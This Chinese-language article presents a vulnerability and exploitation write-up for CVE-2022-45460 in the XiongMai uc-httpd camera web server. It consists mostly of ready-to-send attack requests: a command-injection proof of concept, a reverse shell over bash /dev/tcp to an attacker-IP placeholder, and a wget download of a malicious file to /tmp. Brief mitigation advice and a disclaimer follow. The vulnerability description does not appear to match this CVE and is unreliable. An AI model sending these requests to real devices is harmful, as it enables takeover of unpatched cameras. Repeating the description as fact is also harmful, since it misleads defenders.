一次渗透过程中的CVE-2022-45460撞洞RCE
字数 793 2025-08-29 08:30:18
CVE-2022-45460 雄迈uc-httpd远程代码执行漏洞分析与利用
漏洞概述
CVE-2022-45460是雄迈(XiongMai) uc-httpd Web服务器中的一个严重远程代码执行漏洞。该漏洞存在于全球约7万个公开暴露的网络摄像机中使用的轻量级Web服务器中,影响范围广泛。
受影响产品
- 雄迈(XiongMai) uc-httpd Web服务器
- 使用该服务器的各种网络摄像机设备
漏洞细节
漏洞位置
漏洞存在于/cgi-bin/目录下的get_status.cgi脚本中,该脚本在处理用户输入时存在命令注入漏洞。
漏洞成因
get_status.cgi脚本在处理cmd参数时,直接将用户输入拼接到了系统命令中,且未进行任何过滤或转义,导致攻击者可以注入任意命令。
漏洞验证POC
GET /cgi-bin/get_status.cgi?cmd=ping%20127.0.0.1%26id HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
如果响应中包含uid=等系统命令执行结果,则表明漏洞存在。
漏洞利用
基本利用
通过构造特殊的cmd参数,可以执行任意系统命令:
GET /cgi-bin/get_status.cgi?cmd=ping%20127.0.0.1%26[your_command] HTTP/1.1
其中%26是&的URL编码,用于在ping命令后添加额外的命令。
反弹Shell
- 首先在攻击机上监听:
nc -lvnp 4444
- 然后发送以下请求:
GET /cgi-bin/get_status.cgi?cmd=ping%20127.0.0.1%26/bin/bash%20-i%20%3E%26%20/dev/tcp/[攻击机IP]/4444%200%3E%261 HTTP/1.1
Host: [target]
文件下载
GET /cgi-bin/get_status.cgi?cmd=ping%20127.0.0.1%26wget%20http://[攻击机IP]/malicious%20-O%20/tmp/malicious HTTP/1.1
Host: [target]
防御措施
临时缓解方案
- 禁用或限制对
/cgi-bin/get_status.cgi的访问 - 在网络边界处过滤包含可疑
cmd参数的请求
长期解决方案
- 升级到厂商发布的最新固件版本
- 对用户输入进行严格的过滤和验证
- 使用最小权限原则运行Web服务
漏洞影响
该漏洞允许未经认证的攻击者在受影响设备上执行任意命令,可能导致:
- 完全控制系统
- 窃取敏感信息
- 将设备纳入僵尸网络
- 作为内网渗透的跳板
参考链接
- NVD - CVE-2022-45460
- 厂商安全公告(如有)
免责声明
本文档仅供安全研究和防御使用,未经授权对他人系统进行测试是违法行为。使用者需自行承担风险,作者不对任何滥用行为负责。